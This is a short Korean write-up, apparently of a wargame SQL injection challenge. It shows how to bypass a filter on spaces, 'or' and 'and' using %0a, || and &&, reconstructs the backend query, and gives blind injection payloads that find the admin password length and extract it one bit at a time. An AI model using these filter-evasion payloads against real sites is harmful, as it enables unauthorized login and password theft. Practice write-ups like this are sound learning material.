admin으로 로그인 해야하는듯 하다.
확인 결과, 필터링은 공백, or, and
공백은 %0a로, or는 ||로, and는 &&로 우회해준다.
단, &를 쓸 땐 %26로 써주어야 한다는 것을 주의하자.
여러 확인 결과, 예상되는 쿼리는,
select * from table where id='$_GET[id]' and pw='$_GET[pw]' and no=$_GET[no]
위와 같다.
?no=0 or no=2
no가 1일 때 id는 guest이고, no=2일 때 id값이 admin이라는 사실을 알아내었다.
예상할 수 있는 테이블의 형태는
+------+-----+----+
| id | pw | no |
+------+-----+----+
| guest | guest | 1 |
+------+-----+----+
| admin | ???? | 2 |
+------+-----+----+
페이로드는 아래와 같다.
?no=0 or no=2 && length(pw)>5&id=dsf&pw=3
먼저 admin의 pw는 10글자이다.
이제 한 글자씩 잘라내어 알아내면 된다.
한 글자씩 잘라서, 10진수로 바꾸고, 2진수로 바꾸고, 다시 앞에서부터 한 글자씩 잘라준다.
이렇게 하면 7회의 쿼리만으로 한 글자씩 알아낼 수 있다.
?no=0 or no=2 && bin(ord(mid(pw,1,1)))&id=a&pw=a